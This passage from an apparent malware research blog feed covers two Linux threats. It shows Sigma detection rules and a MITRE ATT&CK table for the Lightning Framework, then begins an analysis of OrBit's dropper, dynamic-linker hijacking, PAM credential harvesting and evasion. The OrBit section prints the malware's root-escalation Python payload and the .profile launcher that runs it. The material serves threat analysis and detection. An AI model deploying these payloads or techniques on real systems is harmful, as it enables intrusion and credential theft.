&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;iftoop&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="s1"&gt;&amp;#39;iptraof&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;selection1 and selection2&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;falsepositives&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;Unknown.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Lightning Default C2 Communication&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;experimental&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Detects communication to default local ip for Lightning Framework&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Intezer&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;references&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;https://intezer.com&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;logsource&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;category&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;firewall&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;detection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;select_outgoing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dst_ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10.2.22.67&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dst_port&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;33229&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;condition&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;select_outgoing&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;falsepositives&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="l"&gt;Unknown.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;MITRE ATT&amp;amp;CK&lt;span class="hx:absolute hx:-mt-20" id="mitre-attck"&gt;&lt;/span&gt;
&lt;a href="#mitre-attck" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tactic&lt;/th&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;ID&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;Boot or Logon Initialization Scripts&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1037/"target="_blank" rel="noopener"&gt;T1037&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;An init.d script is used for persistence of downloader module&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;SSH Authorized Keys&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1098/004/"target="_blank" rel="noopener"&gt;T1098.004&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;SSH keys can be added to the authorized_keys file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Obfuscated Files or Information&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1027/"target="_blank" rel="noopener"&gt;T1027&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The C2 profile is encoded on disk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Deobfuscate/Decode Files or Information&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1140/"target="_blank" rel="noopener"&gt;T1140&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The C2 profile is decoded with a dynamic XOR algorithm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Hide Artifacts&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1564/"target="_blank" rel="noopener"&gt;T1564&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Many artifacts are hidden including ports, PIDs, and file timestamps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Masquerading&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1036/"target="_blank" rel="noopener"&gt;T1036&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Many files are masqueraded as other files or tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Rootkit&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1014/"target="_blank" rel="noopener"&gt;T1014&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;LKM and LD_PRELOAD rootkits are used&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;Timestomp&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1070/006/"target="_blank" rel="noopener"&gt;T1070.006&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Files created by Lightning are modified to match that of other utilities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;File Deletion&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1070/004/"target="_blank" rel="noopener"&gt;T1070.004&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The framework has the ability to remove itself&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;File and Directory Discovery&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1083/"target="_blank" rel="noopener"&gt;T1083&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The framework can list files and directories on infected systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;Network Service Discovery&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1046/"target="_blank" rel="noopener"&gt;T1046&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Multiple plugins can be used to perform network service discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;Network Sniffing&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1040/"target="_blank" rel="noopener"&gt;T1040&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Multiple plugins can be used to perform network sniffing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery&lt;/td&gt;
&lt;td&gt;System Information Discovery&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1082/"target="_blank" rel="noopener"&gt;T1082&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Lightning can perform detailed system fingerprinting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command and Control&lt;/td&gt;
&lt;td&gt;Data Encoding&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1132/"target="_blank" rel="noopener"&gt;T1132&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Data from the C2 is encoded&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command and Control&lt;/td&gt;
&lt;td&gt;Non-Application Layer Protocol&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1095/"target="_blank" rel="noopener"&gt;T1095&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Communication with the C2 is performed over TCP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command and Control&lt;/td&gt;
&lt;td&gt;Proxy&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1090/"target="_blank" rel="noopener"&gt;T1090&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;The framework has the ability to start a Socks5 proxy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command and Control&lt;/td&gt;
&lt;td&gt;Exfiltration Over C2 Channel&lt;/td&gt;
&lt;td&gt;&lt;a href="https://attack.mitre.org/techniques/T1041/"target="_blank" rel="noopener"&gt;T1041&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Data can be exfiltrated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</description></item><item><title>OrBit: New Undetected Linux Threat Uses Unique Hijack of Execution Flow</title><link>https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/</link><pubDate>Wed, 06 Jul 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/</guid><description>
&lt;p&gt;Linux is a popular operating system for servers and cloud infrastructures, and
as such it&amp;rsquo;s not a surprise that it attracts threat actors&amp;rsquo; interest and we see
a &lt;a href="https://www.ibm.com/downloads/cas/ADLMYLAZ"target="_blank" rel="noopener"&gt;continued growth&lt;/a&gt; and innovation
of malware that targets Linux, such as the recent
&lt;a href="../../../2022/06/new-linux-threat-symbiote"&gt;Symbiote&lt;/a&gt; malware that was
discovered by our research team.&lt;/p&gt;
&lt;p&gt;In this blog we will provide a deep technical analysis of a new and fully
undetected Linux threat we named OrBit, because this is one of the filenames
that is being used by the malware to temporarily store the output of executed
commands. It can be installed either with persistence capabilities or as a
volatile implant. The malware implements advanced evasion techniques and gains
persistence on the machine by hooking key functions, provides the threat actors
with remote access capabilities over SSH, harvests credentials, and logs TTY
commands. Once the malware is installed it will infect all of the running
processes, including new processes, that are running on the machine.&lt;/p&gt;
&lt;p&gt;Unlike other threats that hijack shared libraries by modifying the environment
variable &lt;code&gt;LD_PRELOAD&lt;/code&gt;, this malware uses 2 different ways to load the malicious
library. The first way is by adding the shared object to the configuration file
that is used by the loader. The second way is by patching the binary of the
loader itself so it will load the malicious shared object.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;The OrBit Dropper&lt;span class="hx:absolute hx:-mt-20" id="the-orbit-dropper"&gt;&lt;/span&gt;
&lt;a href="#the-orbit-dropper" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/images/fig1.png" title="The dropper sample on VT 67048a69a007c37f8be5d01a95f6a026" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The dropper sample on VT 67048a69a007c37f8be5d01a95f6a026&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The dropper installs the payload and prepares the environment for the malware
execution. The malware can be installed as a volatile module or with
persistence capabilities. It receives command line arguments and based on them
it extracts the payload to one of the locations. Using the command line
arguments the installation path can be swapped and the content of the payload
can be updated or entirely uninstalled. From here on in the report, we will
simply use &lt;code&gt;MALWARE_FOLDER&lt;/code&gt; as referring to the location where the malware has
been installed.&lt;/p&gt;
&lt;p&gt;To install the payload and add it to the shared libraries that are being loaded
by the dynamic linker, the dropper calls a function called &lt;code&gt;patch_ld&lt;/code&gt;. First,
it reads the symbolic link of the dynamic linker &lt;code&gt;/lib64/ld-linux-x86-64.so.2&lt;/code&gt;
and checks if the malicious payload is already loaded by searching for the path
used by the malware. If it is found the function can swap it with the other
location. Otherwise, it looks for &lt;code&gt;/etc/ld.so.preload&lt;/code&gt; and replaces it with a
symbolic link to the location of malicious library: &lt;code&gt;/lib/libntpVnQE6mk/.l&lt;/code&gt; or
&lt;code&gt;/dev/shm/ldx/.l&lt;/code&gt; (depending on the on the argument passed to the dropper).
Lastly, it will append &lt;code&gt;/etc/ld.so.preload&lt;/code&gt; to the end of the temp file to make
sure that the malicious library will be loaded first.&lt;/p&gt;
&lt;p&gt;Before it loads the malicious library to the dynamic linker, the dropper makes
sure to save a copy of the legitimate dynamic linker into
&lt;code&gt;MALWARE_FOLDER/.backup_ld.so&lt;/code&gt; so it if needed it can restore the environment
and to use the legitimate data to hide the malware (more about in the next
section).&lt;/p&gt;
&lt;p&gt;The preparation of the environment is achieved by setting a unique group ID
(GID) to the path that is used by the malware. In the sample we analyzed the
value is &lt;code&gt;0xE0B2E&lt;/code&gt;, the same GID will be used by the payload. In addition, the
dropper copies &lt;code&gt;python&lt;/code&gt; (from &lt;code&gt;/usr/bin/python&lt;/code&gt;) to the &lt;code&gt;MALWARE_FOLDER&lt;/code&gt; and
creates 4 additional files that will be used by the malware:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;/lib/libntpVnQE6mk/.logpam
/lib/libntpVnQE6mk/sshpass.txt
/lib/libntpVnQE6mk/sshpass2.txt
/lib/libntpVnQE6mk/.ports&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And the dropper writes the following 2 files, to grant the threat actors remote
access.&lt;/p&gt;
&lt;p&gt;The payload below is saved in &lt;code&gt;MALWARE_FOLDER/bin/escalator&lt;/code&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;import os
os.setreuid(0,0)
os.execv(&amp;#34;/bin/bash&amp;#34;, (&amp;#34;/bin/bash&amp;#34;, &amp;#34;-i&amp;#34;))&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The payload below is saved in &lt;code&gt;MALWARE_FOLDER/.profile&lt;/code&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;#!/bin/bash
if [ &amp;#34;$(id -u)&amp;#34; -ne 0 ] ; then
echo &amp;#34;Welcome to $(hostname). You are GID $(id -g), UID $(id -u) and about to be escalated to UID 0.&amp;#34;
exec ~/bin/python ~/bin/escalator
fi&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;The OrBit Payload&lt;span class="hx:absolute hx:-mt-20" id="the-orbit-payload"&gt;&lt;/span&gt;
&lt;a href="#the-orbit-payload" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/images/fig2.png" title="The payload sample on VT ac89d638cb6912b58de47ac2a274b2fb" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The payload sample on VT ac89d638cb6912b58de47ac2a274b2fb&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The payload is a shared object (.SO file) that can be placed either in
persistent storage, for example &lt;code&gt;/lib/libntpVnQE6mk/&lt;/code&gt;, or in shim-memory under
&lt;code&gt;/dev/shm/ldx/&lt;/code&gt;. If it&amp;rsquo;s placed in the first path the malware will be
persistent, otherwise it is volatile.&lt;/p&gt;
&lt;p&gt;The shared object hooks functions from 3 libraries: libc, libcap and Pluggable
Authentication Module (PAM). Existing processes that use these functions will
essentially use the modified functions, and new processes will be hooked with
the malicious library as well, allowing the malware to infect the whole machine
and harvest credentials, evade detection, gain persistence and provide remote
access to the attackers.&lt;/p&gt;
&lt;p&gt;When implementing the hooking of libc functions it first calls &lt;code&gt;syscall&lt;/code&gt; with
the corresponding system call number as can be seen in the screenshot below.
Strings are obfuscated with simple XOR with a hardcoded key.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/images/fig3.png" title="Hooked stat function in the malware" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hooked stat function in the malware&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h4&gt;SSH connection&lt;span class="hx:absolute hx:-mt-20" id="ssh-connection"&gt;&lt;/span&gt;
&lt;a href="#ssh-connection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;One of the capabilities of the malware is to set up a remote connection on the
machine, it hooks 3 functions in the Pluggable Authentication Module library:
&lt;code&gt;pam_open_session&lt;/code&gt;, &lt;code&gt;pam_authenticate&lt;/code&gt; and &lt;code&gt;pam_acct_mgmt&lt;/code&gt;. By hooking these
functions the malware is capable of stealing information from SSH connections
and providing remote access to the attackers and hiding the network activity.&lt;/p&gt;
&lt;p&gt;When the hooked &lt;code&gt;pam_authenticate&lt;/code&gt; is called it checks if the user name and the
password equal to hardcoded values, and if that&amp;rsquo;s the case it will log the port
that is used for the connection in &lt;code&gt;/lib/libntpVnQE6mk/.ports&lt;/code&gt; and open the SSH
connection. In other cases, it will check if the file
&lt;code&gt;/lib/libntpVnQE6mk/.logpam&lt;/code&gt; exists (in the sample we analyzed it was created
by the dropper) and if so it will log the credentials to a file
&lt;code&gt;/lib/libntpVnQE6mk/sshpass.txt&lt;/code&gt;. Essentially the first file serves as a flag.&lt;/p&gt;
&lt;h4&gt;OrBit&amp;rsquo;s evasion techniques&lt;span class="hx:absolute hx:-mt-20" id="orbits-evasion-techniques"&gt;&lt;/span&gt;
&lt;a href="#orbits-evasion-techniques" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;To evade detection the malware hooks multiple functions to prevent them from
outputting information that might reveal the existence of the malicious shared
library in the running processes or the files that are being used by the
malware. The malware uses a hardcoded GID value (the one set by the dropper) to
identify the files and processes that are related to the malware and based on
that it will manipulate the behavior of the hooked functions. For example,
&lt;code&gt;readdir&lt;/code&gt; is hooked to check the GID of the calling process, if it doesn&amp;rsquo;t
match the hardcoded value, all of the directories with the predefined GID value
will be omitted from the function&amp;rsquo;s output.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/07/orbit-new-undetected-linux-threat/images/fig4.png" title="Call getgid system call to check the GID of the process" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Call getgid system call to check the GID of the process&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The malware hooks functions that open files: &lt;code&gt;fopen&lt;/code&gt;, &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;open64&lt;/code&gt;, and
&lt;code&gt;openat&lt;/code&gt; and checks if the file that was provided to the relevant open function
is part of the proc file system. One of the paths that is being checked is
&lt;code&gt;/proc/net/tcp&lt;/code&gt; as it can disclose the network traffic generated by the
backdoor. The way in which the malware handles the output of this file is
similar to other files that are being opened and resembles the implementation
in Symbiote. The hooked function reads the content of the file and compares the
content, one line at a time to the content of &lt;code&gt;MALWARE_FOLDER/.ports&lt;/code&gt; which
holds the information about port and addresses used by the malware. The malware
creates a temp file and writes only the lines that don&amp;rsquo;t expose the malware.
Once the file has proceeded, the malware returns the file descriptor to the
temp file to the caller.&lt;/p&gt;
&lt;p&gt;The following
